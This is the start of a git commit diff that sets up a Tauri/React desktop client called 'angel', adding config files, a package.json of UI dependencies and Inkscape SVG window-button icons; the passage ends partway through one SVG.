Initiliazation

This commit is contained in:
2025-12-22 16:23:48 +01:00
parent 7a8b6d451d
commit b29e6179f3
165 changed files with 28070 additions and 0 deletions

24
full/Angel-client/.gitignore vendored Normal file
View File

@@ -0,0 +1,24 @@
# Logs
logs
*.log
npm-debug.log*
yarn-debug.log*
yarn-error.log*
pnpm-debug.log*
lerna-debug.log*
node_modules
dist
dist-ssr
*.local
# Editor directories and files
.vscode/*
!.vscode/extensions.json
.idea
.DS_Store
*.suo
*.ntvs*
*.njsproj
*.sln
*.sw?

View File

@@ -0,0 +1,3 @@
{
"recommendations": ["tauri-apps.tauri-vscode", "rust-lang.rust-analyzer"]
}

View File

@@ -0,0 +1 @@
meow~

View File

@@ -0,0 +1,20 @@
{
"$schema": "https://ui.shadcn.com/schema.json",
"style": "new-york",
"rsc": false,
"tsx": true,
"tailwind": {
"config": "tailwind.config.ts",
"css": "src/App.css",
"baseColor": "neutral",
"cssVariables": true,
"prefix": ""
},
"aliases": {
"components": "@/components",
"utils": "@/lib/utils",
"ui": "@/components/ui",
"lib": "@/lib",
"hooks": "@/hooks"
}
}

View File

@@ -0,0 +1,14 @@
<!doctype html>
<html lang="en">
<head>
<meta charset="UTF-8" />
<link rel="icon" type="image/svg+xml" href="/vite.svg" />
<meta name="viewport" content="width=device-width, initial-scale=1.0" />
</head>
<body>
<div id="root"></div>
<!--<script src="/src/oneko.js"></script>-->
<script type="module" src="/src/main.tsx"></script>
</body>
</html>

View File

@@ -0,0 +1,57 @@
{
"name": "angel",
"private": true,
"version": "0.1.0",
"type": "module",
"scripts": {
"dev": "vite",
"build": "tsc && vite build",
"preview": "vite preview",
"tauri": "tauri"
},
"dependencies": {
"@hookform/resolvers": "^3.9.0",
"@radix-ui/react-avatar": "^1.1.1",
"@radix-ui/react-checkbox": "^1.1.2",
"@radix-ui/react-collapsible": "^1.1.1",
"@radix-ui/react-context-menu": "^2.2.2",
"@radix-ui/react-dialog": "^1.1.2",
"@radix-ui/react-dropdown-menu": "^2.1.2",
"@radix-ui/react-icons": "^1.3.0",
"@radix-ui/react-label": "^2.1.0",
"@radix-ui/react-popover": "^1.1.2",
"@radix-ui/react-separator": "^1.1.0",
"@radix-ui/react-slot": "^1.1.0",
"@radix-ui/react-tabs": "^1.1.1",
"@radix-ui/react-toast": "^1.2.2",
"@radix-ui/react-tooltip": "^1.1.3",
"@tanstack/react-table": "^8.20.5",
"@tauri-apps/api": "^2",
"@tauri-apps/plugin-shell": "^2",
"@types/node": "^22.7.7",
"class-variance-authority": "^0.7.0",
"clsx": "^2.1.1",
"cmdk": "1.0.0",
"lucide-react": "^0.453.0",
"react": "^18.2.0",
"react-dom": "^18.2.0",
"react-hook-form": "^7.53.0",
"react-router-dom": "^6.27.0",
"tailwind-merge": "^2.5.4",
"tailwindcss-animate": "^1.0.7",
"zod": "^3.23.8"
},
"devDependencies": {
"@tauri-apps/cli": "^2",
"@types/react": "^18.2.15",
"@types/react-dom": "^18.2.7",
"@vitejs/plugin-react": "^4.2.1",
"autoprefixer": "^10.4.20",
"postcss": "^8.4.47",
"sass": "^1.80.3",
"tailwindcss": "^3.4.14",
"typescript": "^5.2.2",
"vite": "^5.3.1",
"vite-plugin-sass": "^0.1.0"
}
}

View File

@@ -0,0 +1,6 @@
export default {
plugins: {
tailwindcss: {},
autoprefixer: {},
},
}

Binary file not shown.

After

Width:  |  Height:  |  Size: 112 KiB

View File

@@ -0,0 +1,152 @@
<?xml version="1.0" encoding="UTF-8" standalone="no"?>
<!-- Created with Inkscape (http://www.inkscape.org/) -->
<svg
xmlns:dc="http://purl.org/dc/elements/1.1/"
xmlns:cc="http://creativecommons.org/ns#"
xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"
xmlns:svg="http://www.w3.org/2000/svg"
xmlns="http://www.w3.org/2000/svg"
xmlns:sodipodi="http://sodipodi.sourceforge.net/DTD/sodipodi-0.dtd"
xmlns:inkscape="http://www.inkscape.org/namespaces/inkscape"
width="24"
height="24"
id="svg4306"
version="1.1"
inkscape:version="0.91 r13725"
sodipodi:docname="close.svg"
style="enable-background:new">
<defs
id="defs4308">
<linearGradient
id="linearGradient3770">
<stop
style="stop-color:#000000;stop-opacity:0.62827224;"
offset="0"
id="stop3772" />
<stop
style="stop-color:#000000;stop-opacity:0.49803922;"
offset="1"
id="stop3774" />
</linearGradient>
<linearGradient
id="linearGradient4882">
<stop
style="stop-color:#ffffff;stop-opacity:1;"
offset="0"
id="stop4884" />
<stop
style="stop-color:#ffffff;stop-opacity:0;"
offset="1"
id="stop4886" />
</linearGradient>
<linearGradient
id="linearGradient3784-6">
<stop
style="stop-color:#ffffff;stop-opacity:0.21568628;"
offset="0"
id="stop3786-4" />
<stop
style="stop-color:#ffffff;stop-opacity:0;"
offset="1"
id="stop3788-6" />
</linearGradient>
<linearGradient
id="linearGradient4892">
<stop
id="stop4894"
offset="0"
style="stop-color:#2f3a42;stop-opacity:1;" />
<stop
id="stop4896"
offset="1"
style="stop-color:#1d242a;stop-opacity:1;" />
</linearGradient>
<linearGradient
id="linearGradient4882-4">
<stop
id="stop4884-9"
offset="0"
style="stop-color:#728495;stop-opacity:1;" />
<stop
id="stop4886-9"
offset="1"
style="stop-color:#617c95;stop-opacity:0;" />
</linearGradient>
</defs>
<sodipodi:namedview
id="base"
pagecolor="#f0f1f2"
bordercolor="#666666"
borderopacity="1.0"
inkscape:pageopacity="1"
inkscape:pageshadow="2"
inkscape:zoom="22.627418"
inkscape:cx="9.3270896"
inkscape:cy="10.966175"
inkscape:document-units="px"
inkscape:current-layer="layer1"
showgrid="true"
showguides="true"
inkscape:guide-bbox="true"
inkscape:window-width="1280"
inkscape:window-height="747"
inkscape:window-x="0"
inkscape:window-y="0"
inkscape:window-maximized="1"
inkscape:snap-bbox="true"
inkscape:snap-global="true"
inkscape:snap-bbox-midpoints="false"
inkscape:bbox-paths="true"
inkscape:bbox-nodes="true"
inkscape:snap-bbox-edge-midpoints="true">
<inkscape:grid
type="xygrid"
id="grid4314"
empspacing="5"
visible="true"
enabled="true"
snapvisiblegridlinesonly="true" />
<sodipodi:guide
orientation="1,0"
position="12,12"
id="guide4316" />
<sodipodi:guide
orientation="0,1"
position="12,12"
id="guide4318" />
</sodipodi:namedview>
<metadata
id="metadata4311">
<rdf:RDF>
<cc:Work
rdf:about="">
<dc:format>image/svg+xml</dc:format>
<dc:type
rdf:resource="http://purl.org/dc/dcmitype/StillImage" />
<dc:title />
</cc:Work>
</rdf:RDF>
</metadata>
<g
inkscape:label="Ebene 1"
inkscape:groupmode="layer"
id="layer1"
transform="translate(0,-1028.3622)">
<g
transform="matrix(0.01265625,0,0,-0.01265625,4.9280396,1046.8821)"
id="g3337">
<path
inkscape:connector-curvature="0"
d="m 558.77702,-37.935253 c 305.45606,0 553.08158,247.625863 553.08158,553.085803 0,305.46124 -247.62552,553.08675 -553.08158,553.08675 -305.46512,0 -553.0913044,-247.62551 -553.0913044,-553.08675 0,-305.45994 247.6261844,-553.085803 553.0913044,-553.085803"
style="fill:#d52735;fill-opacity:1;fill-rule:evenodd;stroke:none"
id="path4094" />
<path
inkscape:connector-curvature="0"
d="m 558.77747,1.5676633 c 283.63699,0 513.57493,229.9429467 513.57493,513.5851867 0,283.64355 -229.93794,513.58155 -513.57493,513.58155 -283.64749,0 -513.585581,-229.938 -513.585581,-513.58155 0,-283.64224 229.938091,-513.5851867 513.585581,-513.5851867"
style="fill:#f25056;fill-opacity:1;fill-rule:evenodd;stroke:none"
id="path4096" />
</g>
</g>
</svg>

After

Width:  |  Height:  |  Size: 4.6 KiB

View File

@@ -0,0 +1,161 @@
<?xml version="1.0" encoding="UTF-8" standalone="no"?>
<!-- Created with Inkscape (http://www.inkscape.org/) -->
<svg
xmlns:dc="http://purl.org/dc/elements/1.1/"
xmlns:cc="http://creativecommons.org/ns#"
xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"
xmlns:svg="http://www.w3.org/2000/svg"
xmlns="http://www.w3.org/2000/svg"
xmlns:sodipodi="http://sodipodi.sourceforge.net/DTD/sodipodi-0.dtd"
xmlns:inkscape="http://www.inkscape.org/namespaces/inkscape"
width="24"
height="24"
id="svg4306"
version="1.1"
inkscape:version="0.91 r13725"
sodipodi:docname="close_prelight.svg"
style="enable-background:new">
<defs
id="defs4308">
<linearGradient
id="linearGradient3770">
<stop
style="stop-color:#000000;stop-opacity:0.62827224;"
offset="0"
id="stop3772" />
<stop
style="stop-color:#000000;stop-opacity:0.49803922;"
offset="1"
id="stop3774" />
</linearGradient>
<linearGradient
id="linearGradient4882">
<stop
style="stop-color:#ffffff;stop-opacity:1;"
offset="0"
id="stop4884" />
<stop
style="stop-color:#ffffff;stop-opacity:0;"
offset="1"
id="stop4886" />
</linearGradient>
<linearGradient
id="linearGradient3784-6">
<stop
style="stop-color:#ffffff;stop-opacity:0.21568628;"
offset="0"
id="stop3786-4" />
<stop
style="stop-color:#ffffff;stop-opacity:0;"
offset="1"
id="stop3788-6" />
</linearGradient>
<linearGradient
id="linearGradient4892">
<stop
id="stop4894"
offset="0"
style="stop-color:#2f3a42;stop-opacity:1;" />
<stop
id="stop4896"
offset="1"
style="stop-color:#1d242a;stop-opacity:1;" />
</linearGradient>
<linearGradient
id="linearGradient4882-4">
<stop
id="stop4884-9"
offset="0"
style="stop-color:#728495;stop-opacity:1;" />
<stop
id="stop4886-9"
offset="1"
style="stop-color:#617c95;stop-opacity:0;" />
</linearGradient>
</defs>
<sodipodi:namedview
id="base"
pagecolor="#f0f1f2"
bordercolor="#666666"
borderopacity="1.0"
inkscape:pageopacity="1"
inkscape:pageshadow="2"
inkscape:zoom="22.627418"
inkscape:cx="7.779207"
inkscape:cy="10.966175"
inkscape:document-units="px"
inkscape:current-layer="layer1"
showgrid="true"
showguides="true"
inkscape:guide-bbox="true"
inkscape:window-width="1280"
inkscape:window-height="747"
inkscape:window-x="0"
inkscape:window-y="0"
inkscape:window-maximized="1"
inkscape:snap-bbox="true"
inkscape:snap-global="true"
inkscape:snap-bbox-midpoints="false"
inkscape:bbox-paths="true"
inkscape:bbox-nodes="true"
inkscape:snap-bbox-edge-midpoints="true">
<inkscape:grid
type="xygrid"
id="grid4314"
empspacing="5"
visible="true"
enabled="true"
snapvisiblegridlinesonly="true" />
<sodipodi:guide
orientation="1,0"
position="12,12"
id="guide4316" />
<sodipodi:guide
orientation="0,1"
position="12,12"
id="guide4318" />
</sodipodi:namedview>
<metadata
id="metadata4311">
<rdf:RDF>
<cc:Work
rdf:about="">
<dc:format>image/svg+xml</dc:format>
<dc:type
rdf:resource="http://purl.org/dc/dcmitype/StillImage" />
<dc:title />
</cc:Work>
</rdf:RDF>
</metadata>
<g
inkscape:label="Ebene 1"
inkscape:groupmode="layer"
id="layer1"
transform="translate(0,-1028.3622)">
<g
transform="matrix(0.01265625,0,0,-0.01265625,4.9280403,1046.8821)"
id="titlebutton-close-hover"
inkscape:label="#g3339">
<path
inkscape:connector-curvature="0"
d="m 558.77708,-37.935271 c 305.45607,0 553.08142,247.625871 553.08142,553.085831 0,305.46125 -247.62535,553.08674 -553.08142,553.08674 -305.46513,0 -553.0913269,-247.62549 -553.0913269,-553.08674 0,-305.45996 247.6261969,-553.085831 553.0913269,-553.085831"
style="fill:#d52735;fill-opacity:1;fill-rule:evenodd;stroke:none"
id="path4094" />
<g
transform="matrix(1.0680345,0,0,1.0680345,0.41786301,-41.900484)"
id="g4144">
<path
id="path4096"
style="fill:#f25056;fill-opacity:1;fill-rule:evenodd;stroke:none"
d="m 522.79173,40.6992 c 265.56911,0 480.85987,215.29542 480.85987,480.86946 0,265.57526 -215.29076,480.86604 -480.85987,480.86604 -265.57896,0 -480.86983,-215.29078 -480.86983,-480.86604 0,-265.57404 215.29087,-480.86946 480.86983,-480.86946"
inkscape:connector-curvature="0" />
<path
style="fill:#9f1d2b;fill-opacity:1;fill-rule:evenodd;stroke:none"
d="m 306.28404,782.14979 c -11.06764,0 -22.15209,-4.31529 -30.55026,-12.71345 l -0.75901,-0.75902 c -16.79758,-16.79634 -16.79758,-44.30417 0,-61.10052 L 460.93287,521.6187 274.97477,335.47086 c -16.79266,-16.79145 -16.79266,-44.11445 0,-60.91075 l 0.75901,-0.94881 c 16.79142,-16.7963 44.30418,-16.7963 61.10051,0 L 522.7924,459.56941 708.7505,273.6113 c 16.79265,-16.7963 44.30417,-16.7963 61.10052,0 l 0.75901,0.94881 c 16.79142,16.79144 16.79142,44.1193 0,60.91075 l -185.9581,186.14784 185.9581,185.9581 c 16.79142,16.79635 16.79635,44.3091 0,61.10052 l -0.75901,0.75902 c -16.80126,16.79142 -44.30787,16.79142 -61.10052,0 L 522.7924,583.47823 336.83429,769.43634 c -8.39817,8.39816 -19.48262,12.71345 -30.55025,12.71345 z"
id="path4098"
inkscape:connector-curvature="0" />
</g>
</g>
</g>
</svg>

After

Width:  |  Height:  |  Size: 5.7 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 24 KiB

View File

@@ -0,0 +1,151 @@
<?xml version="1.0" encoding="UTF-8" standalone="no"?>
<!-- Created with Inkscape (http://www.inkscape.org/) -->
<svg
xmlns:dc="http://purl.org/dc/elements/1.1/"
xmlns:cc="http://creativecommons.org/ns#"
xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"
xmlns:svg="http://www.w3.org/2000/svg"
xmlns="http://www.w3.org/2000/svg"
xmlns:sodipodi="http://sodipodi.sourceforge.net/DTD/sodipodi-0.dtd"
xmlns:inkscape="http://www.inkscape.org/namespaces/inkscape"
width="24"
height="24"
id="svg4306"
version="1.1"
inkscape:version="0.91 r13725"
sodipodi:docname="maximize.svg"
style="enable-background:new">
<defs
id="defs4308">
<linearGradient
id="linearGradient3770">
<stop
style="stop-color:#000000;stop-opacity:0.62827224;"
offset="0"
id="stop3772" />
<stop
style="stop-color:#000000;stop-opacity:0.49803922;"
offset="1"
id="stop3774" />
</linearGradient>
<linearGradient
id="linearGradient4882">
<stop
style="stop-color:#ffffff;stop-opacity:1;"
offset="0"
id="stop4884" />
<stop
style="stop-color:#ffffff;stop-opacity:0;"
offset="1"
id="stop4886" />
</linearGradient>
<linearGradient
id="linearGradient3784-6">
<stop
style="stop-color:#ffffff;stop-opacity:0.21568628;"
offset="0"
id="stop3786-4" />
<stop
style="stop-color:#ffffff;stop-opacity:0;"
offset="1"
id="stop3788-6" />
</linearGradient>
<linearGradient
id="linearGradient4892">
<stop
id="stop4894"
offset="0"
style="stop-color:#2f3a42;stop-opacity:1;" />
<stop
id="stop4896"
offset="1"
style="stop-color:#1d242a;stop-opacity:1;" />
</linearGradient>
<linearGradient
id="linearGradient4882-4">
<stop
id="stop4884-9"
offset="0"
style="stop-color:#728495;stop-opacity:1;" />
<stop
id="stop4886-9"
offset="1"
style="stop-color:#617c95;stop-opacity:0;" />
</linearGradient>
</defs>
<sodipodi:namedview
id="base"
pagecolor="#f0f1f2"
bordercolor="#666666"
borderopacity="1.0"
inkscape:pageopacity="1"
inkscape:pageshadow="2"
inkscape:zoom="16"
inkscape:cx="12.118938"
inkscape:cy="11.638414"
inkscape:document-units="px"
inkscape:current-layer="layer1"
showgrid="true"
showguides="true"
inkscape:guide-bbox="true"
inkscape:window-width="1280"
inkscape:window-height="747"
inkscape:window-x="0"
inkscape:window-y="0"
inkscape:window-maximized="1"
inkscape:snap-bbox="true"
inkscape:snap-global="true"
inkscape:snap-bbox-midpoints="false"
inkscape:bbox-paths="true"
inkscape:bbox-nodes="true"
inkscape:snap-bbox-edge-midpoints="true">
<inkscape:grid
type="xygrid"
id="grid4314"
empspacing="5"
visible="true"
enabled="true"
snapvisiblegridlinesonly="true" />
<sodipodi:guide
orientation="1,0"
position="12,12"
id="guide4316" />
<sodipodi:guide
orientation="0,1"
position="12,12"
id="guide4318" />
</sodipodi:namedview>
<metadata
id="metadata4311">
<rdf:RDF>
<cc:Work
rdf:about="">
<dc:format>image/svg+xml</dc:format>
<dc:type
rdf:resource="http://purl.org/dc/dcmitype/StillImage" />
<dc:title />
</cc:Work>
</rdf:RDF>
</metadata>
<g
inkscape:label="Ebene 1"
inkscape:groupmode="layer"
id="layer1"
transform="translate(0,-1028.3622)">
<g
transform="matrix(0.01265625,0,0,-0.01265625,4.8773707,1046.8806)"
id="g3339">
<path
inkscape:connector-curvature="0"
d="m 562.7806,-38.053372 c 305.45604,0 553.0815,247.625852 553.0815,553.085772 0,305.46122 -247.62546,553.0867 -553.0815,553.0867 -305.4651,0 -553.0913989,-247.62548 -553.0913989,-553.0867 0,-305.45992 247.6262989,-553.085772 553.0913989,-553.085772"
style="fill:#13c11e;fill-opacity:1;fill-rule:evenodd;stroke:none"
id="path4289" />
<path
inkscape:connector-curvature="0"
d="m 562.77841,1.4521975 c 283.64075,0 513.57749,229.9417425 513.57749,513.5824825 0,283.64206 -229.93674,513.57882 -513.57749,513.57882 -283.646,0 -513.583014,-229.93676 -513.583014,-513.57882 0,-283.64074 229.937014,-513.5824825 513.583014,-513.5824825"
style="fill:#39ea49;fill-opacity:1;fill-rule:evenodd;stroke:none"
id="path4291" />
</g>
</g>
</svg>

After

Width:  |  Height:  |  Size: 4.6 KiB

View File

@@ -0,0 +1,161 @@
<?xml version="1.0" encoding="UTF-8" standalone="no"?>
<!-- Created with Inkscape (http://www.inkscape.org/) -->
<svg
xmlns:dc="http://purl.org/dc/elements/1.1/"
xmlns:cc="http://creativecommons.org/ns#"
xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"
xmlns:svg="http://www.w3.org/2000/svg"
xmlns="http://www.w3.org/2000/svg"
xmlns:sodipodi="http://sodipodi.sourceforge.net/DTD/sodipodi-0.dtd"
xmlns:inkscape="http://www.inkscape.org/namespaces/inkscape"
width="24"
height="24"
id="svg4306"
version="1.1"
inkscape:version="0.91 r13725"
sodipodi:docname="maximize_prelight.svg"
style="enable-background:new">
<defs
id="defs4308">
<linearGradient
id="linearGradient3770">
<stop
style="stop-color:#000000;stop-opacity:0.62827224;"
offset="0"
id="stop3772" />
<stop
style="stop-color:#000000;stop-opacity:0.49803922;"
offset="1"
id="stop3774" />
</linearGradient>
<linearGradient
id="linearGradient4882">
<stop
style="stop-color:#ffffff;stop-opacity:1;"
offset="0"
id="stop4884" />
<stop
style="stop-color:#ffffff;stop-opacity:0;"
offset="1"
id="stop4886" />
</linearGradient>
<linearGradient
id="linearGradient3784-6">
<stop
style="stop-color:#ffffff;stop-opacity:0.21568628;"
offset="0"
id="stop3786-4" />
<stop
style="stop-color:#ffffff;stop-opacity:0;"
offset="1"
id="stop3788-6" />
</linearGradient>
<linearGradient
id="linearGradient4892">
<stop
id="stop4894"
offset="0"
style="stop-color:#2f3a42;stop-opacity:1;" />
<stop
id="stop4896"
offset="1"
style="stop-color:#1d242a;stop-opacity:1;" />
</linearGradient>
<linearGradient
id="linearGradient4882-4">
<stop
id="stop4884-9"
offset="0"
style="stop-color:#728495;stop-opacity:1;" />
<stop
id="stop4886-9"
offset="1"
style="stop-color:#617c95;stop-opacity:0;" />
</linearGradient>
</defs>
<sodipodi:namedview
id="base"
pagecolor="#f0f1f2"
bordercolor="#666666"
borderopacity="1.0"
inkscape:pageopacity="1"
inkscape:pageshadow="2"
inkscape:zoom="21.791667"
inkscape:cx="12"
inkscape:cy="12"
inkscape:document-units="px"
inkscape:current-layer="layer1"
showgrid="true"
showguides="true"
inkscape:guide-bbox="true"
inkscape:window-width="1280"
inkscape:window-height="747"
inkscape:window-x="0"
inkscape:window-y="0"
inkscape:window-maximized="1"
inkscape:snap-bbox="true"
inkscape:snap-global="true"
inkscape:snap-bbox-midpoints="false"
inkscape:bbox-paths="true"
inkscape:bbox-nodes="true"
inkscape:snap-bbox-edge-midpoints="true">
<inkscape:grid
type="xygrid"
id="grid4314"
empspacing="5"
visible="true"
enabled="true"
snapvisiblegridlinesonly="true" />
<sodipodi:guide
orientation="1,0"
position="12,12"
id="guide4316" />
<sodipodi:guide
orientation="0,1"
position="12,12"
id="guide4318" />
</sodipodi:namedview>
<metadata
id="metadata4311">
<rdf:RDF>
<cc:Work
rdf:about="">
<dc:format>image/svg+xml</dc:format>
<dc:type
rdf:resource="http://purl.org/dc/dcmitype/StillImage" />
<dc:title />
</cc:Work>
</rdf:RDF>
</metadata>
<g
inkscape:label="Ebene 1"
inkscape:groupmode="layer"
id="layer1"
transform="translate(0,-1028.3622)">
<g
style="enable-background:new"
transform="matrix(0.01265625,0,0,-0.01265625,4.9280399,1046.8821)"
id="g3339">
<path
inkscape:connector-curvature="0"
d="m 558.7771,-37.935173 c 305.45604,0 553.0815,247.625853 553.0815,553.085763 0,305.46122 -247.62546,553.08661 -553.0815,553.08661 -305.46509,0 -553.091393,-247.62539 -553.091393,-553.08661 0,-305.45991 247.626303,-553.085763 553.091393,-553.085763"
style="fill:#13c11e;fill-opacity:1;fill-rule:evenodd;stroke:none"
id="path4289" />
<g
transform="matrix(1.3132489,0,0,1.3132489,-9.8625362,-52.033006)"
id="g4147">
<path
id="path4291"
style="fill:#39ea49;fill-opacity:1;fill-rule:evenodd;stroke:none"
d="m 433.00051,40.81737 c 215.984,0 391.074,175.0938 391.074,391.0778 0,215.985 -175.09,391.075 -391.074,391.075 -215.988,0 -391.078202,-175.09 -391.078202,-391.075 0,-215.984 175.090202,-391.0778 391.078202,-391.0778"
inkscape:connector-curvature="0" />
<path
id="path4293"
style="fill:#0b7407;fill-opacity:1;fill-rule:evenodd;stroke:none"
d="m 317.36351,650.00117 267.199,0 c 35.579,0 64.692,-29.113 64.692,-64.695 l 0,-267.196 -331.891,331.891 z m 232.324,-436.211 -268.253,0 c -35.583,0 -64.692,29.109 -64.692,64.691 l 0,268.254 332.945,-332.945"
inkscape:connector-curvature="0" />
</g>
</g>
</g>
</svg>

After

Width:  |  Height:  |  Size: 5.1 KiB

View File

@@ -0,0 +1,151 @@
<?xml version="1.0" encoding="UTF-8" standalone="no"?>
<!-- Created with Inkscape (http://www.inkscape.org/) -->
<svg
xmlns:dc="http://purl.org/dc/elements/1.1/"
xmlns:cc="http://creativecommons.org/ns#"
xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"
xmlns:svg="http://www.w3.org/2000/svg"
xmlns="http://www.w3.org/2000/svg"
xmlns:sodipodi="http://sodipodi.sourceforge.net/DTD/sodipodi-0.dtd"
xmlns:inkscape="http://www.inkscape.org/namespaces/inkscape"
width="24"
height="24"
id="svg4306"
version="1.1"
inkscape:version="0.91 r13725"
sodipodi:docname="minimize.svg"
style="enable-background:new">
<defs
id="defs4308">
<linearGradient
id="linearGradient3770">
<stop
style="stop-color:#000000;stop-opacity:0.62827224;"
offset="0"
id="stop3772" />
<stop
style="stop-color:#000000;stop-opacity:0.49803922;"
offset="1"
id="stop3774" />
</linearGradient>
<linearGradient
id="linearGradient4882">
<stop
style="stop-color:#ffffff;stop-opacity:1;"
offset="0"
id="stop4884" />
<stop
style="stop-color:#ffffff;stop-opacity:0;"
offset="1"
id="stop4886" />
</linearGradient>
<linearGradient
id="linearGradient3784-6">
<stop
style="stop-color:#ffffff;stop-opacity:0.21568628;"
offset="0"
id="stop3786-4" />
<stop
style="stop-color:#ffffff;stop-opacity:0;"
offset="1"
id="stop3788-6" />
</linearGradient>
<linearGradient
id="linearGradient4892">
<stop
id="stop4894"
offset="0"
style="stop-color:#2f3a42;stop-opacity:1;" />
<stop
id="stop4896"
offset="1"
style="stop-color:#1d242a;stop-opacity:1;" />
</linearGradient>
<linearGradient
id="linearGradient4882-4">
<stop
id="stop4884-9"
offset="0"
style="stop-color:#728495;stop-opacity:1;" />
<stop
id="stop4886-9"
offset="1"
style="stop-color:#617c95;stop-opacity:0;" />
</linearGradient>
</defs>
<sodipodi:namedview
id="base"
pagecolor="#f0f1f2"
bordercolor="#666666"
borderopacity="1.0"
inkscape:pageopacity="1"
inkscape:pageshadow="2"
inkscape:zoom="21.791667"
inkscape:cx="12"
inkscape:cy="12"
inkscape:document-units="px"
inkscape:current-layer="layer1"
showgrid="true"
showguides="true"
inkscape:guide-bbox="true"
inkscape:window-width="1280"
inkscape:window-height="747"
inkscape:window-x="0"
inkscape:window-y="0"
inkscape:window-maximized="1"
inkscape:snap-bbox="true"
inkscape:snap-global="true"
inkscape:snap-bbox-midpoints="false"
inkscape:bbox-paths="true"
inkscape:bbox-nodes="true"
inkscape:snap-bbox-edge-midpoints="true">
<inkscape:grid
type="xygrid"
id="grid4314"
empspacing="5"
visible="true"
enabled="true"
snapvisiblegridlinesonly="true" />
<sodipodi:guide
orientation="1,0"
position="12,12"
id="guide4316" />
<sodipodi:guide
orientation="0,1"
position="12,12"
id="guide4318" />
</sodipodi:namedview>
<metadata
id="metadata4311">
<rdf:RDF>
<cc:Work
rdf:about="">
<dc:format>image/svg+xml</dc:format>
<dc:type
rdf:resource="http://purl.org/dc/dcmitype/StillImage" />
<dc:title />
</cc:Work>
</rdf:RDF>
</metadata>
<g
inkscape:label="Ebene 1"
inkscape:groupmode="layer"
id="layer1"
transform="translate(0,-1028.3622)">
<g
transform="matrix(0.01265625,0,0,-0.01265625,4.9297844,1046.855)"
id="g3341">
<path
inkscape:connector-curvature="0"
d="m 558.63645,-40.071141 c 305.46261,0 553.08915,247.626261 553.08915,553.088871 0,305.45744 -247.62654,553.08397 -553.08915,553.08397 -305.46132,0 -553.0885503,-247.62653 -553.0885503,-553.08397 0,-305.46261 247.6272303,-553.088871 553.0885503,-553.088871"
style="fill:#da9e10;fill-opacity:1;fill-rule:evenodd;stroke:none"
id="path4417" />
<path
inkscape:connector-curvature="0"
d="m 558.63936,-0.56504285 c 283.64212,0 513.57764,229.93706285 513.57764,513.58312285 0,283.64081 -229.93552,513.57752 -513.57764,513.57752 -283.64081,0 -513.582854,-229.93671 -513.582854,-513.57752 0,-283.64606 229.942044,-513.58312285 513.582854,-513.58312285"
style="fill:#fac536;fill-opacity:1;fill-rule:evenodd;stroke:none"
id="path4419" />
</g>
</g>
</svg>

After

Width:  |  Height:  |  Size: 4.6 KiB

View File

@@ -0,0 +1,165 @@
<?xml version="1.0" encoding="UTF-8" standalone="no"?>
<!-- Created with Inkscape (http://www.inkscape.org/) -->
<svg
xmlns:dc="http://purl.org/dc/elements/1.1/"
xmlns:cc="http://creativecommons.org/ns#"
xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"
xmlns:svg="http://www.w3.org/2000/svg"
xmlns="http://www.w3.org/2000/svg"
xmlns:sodipodi="http://sodipodi.sourceforge.net/DTD/sodipodi-0.dtd"
xmlns:inkscape="http://www.inkscape.org/namespaces/inkscape"
width="24"
height="24"
id="svg4306"
version="1.1"
inkscape:version="0.91 r13725"
sodipodi:docname="minimize_prelight.svg"
style="enable-background:new">
<defs
id="defs4308">
<linearGradient
id="linearGradient3770">
<stop
style="stop-color:#000000;stop-opacity:0.62827224;"
offset="0"
id="stop3772" />
<stop
style="stop-color:#000000;stop-opacity:0.49803922;"
offset="1"
id="stop3774" />
</linearGradient>
<linearGradient
id="linearGradient4882">
<stop
style="stop-color:#ffffff;stop-opacity:1;"
offset="0"
id="stop4884" />
<stop
style="stop-color:#ffffff;stop-opacity:0;"
offset="1"
id="stop4886" />
</linearGradient>
<linearGradient
id="linearGradient3784-6">
<stop
style="stop-color:#ffffff;stop-opacity:0.21568628;"
offset="0"
id="stop3786-4" />
<stop
style="stop-color:#ffffff;stop-opacity:0;"
offset="1"
id="stop3788-6" />
</linearGradient>
<linearGradient
id="linearGradient4892">
<stop
id="stop4894"
offset="0"
style="stop-color:#2f3a42;stop-opacity:1;" />
<stop
id="stop4896"
offset="1"
style="stop-color:#1d242a;stop-opacity:1;" />
</linearGradient>
<linearGradient
id="linearGradient4882-4">
<stop
id="stop4884-9"
offset="0"
style="stop-color:#728495;stop-opacity:1;" />
<stop
id="stop4886-9"
offset="1"
style="stop-color:#617c95;stop-opacity:0;" />
</linearGradient>
</defs>
<sodipodi:namedview
id="base"
pagecolor="#f0f1f2"
bordercolor="#666666"
borderopacity="1.0"
inkscape:pageopacity="1"
inkscape:pageshadow="2"
inkscape:zoom="21.791667"
inkscape:cx="12"
inkscape:cy="12"
inkscape:document-units="px"
inkscape:current-layer="layer1"
showgrid="true"
showguides="true"
inkscape:guide-bbox="true"
inkscape:window-width="1280"
inkscape:window-height="747"
inkscape:window-x="0"
inkscape:window-y="0"
inkscape:window-maximized="1"
inkscape:snap-bbox="true"
inkscape:snap-global="true"
inkscape:snap-bbox-midpoints="false"
inkscape:bbox-paths="true"
inkscape:bbox-nodes="true"
inkscape:snap-bbox-edge-midpoints="true">
<inkscape:grid
type="xygrid"
id="grid4314"
empspacing="5"
visible="true"
enabled="true"
snapvisiblegridlinesonly="true" />
<sodipodi:guide
orientation="1,0"
position="12,12"
id="guide4316" />
<sodipodi:guide
orientation="0,1"
position="12,12"
id="guide4318" />
</sodipodi:namedview>
<metadata
id="metadata4311">
<rdf:RDF>
<cc:Work
rdf:about="">
<dc:format>image/svg+xml</dc:format>
<dc:type
rdf:resource="http://purl.org/dc/dcmitype/StillImage" />
<dc:title />
</cc:Work>
</rdf:RDF>
</metadata>
<g
inkscape:label="Ebene 1"
inkscape:groupmode="layer"
id="layer1"
transform="translate(0,-1028.3622)">
<g
transform="matrix(0.01265625,0,0,-0.01265625,4.9280399,1046.8821)"
id="g3340">
<g
id="g4285"
inkscape:label="ink_ext_XXXXXX"
transform="matrix(9.9999999,0,0,9.9999999,-4.0034923,0.11816995)">
<path
id="path4417"
style="fill:#da9e10;fill-opacity:1;fill-rule:evenodd;stroke:none"
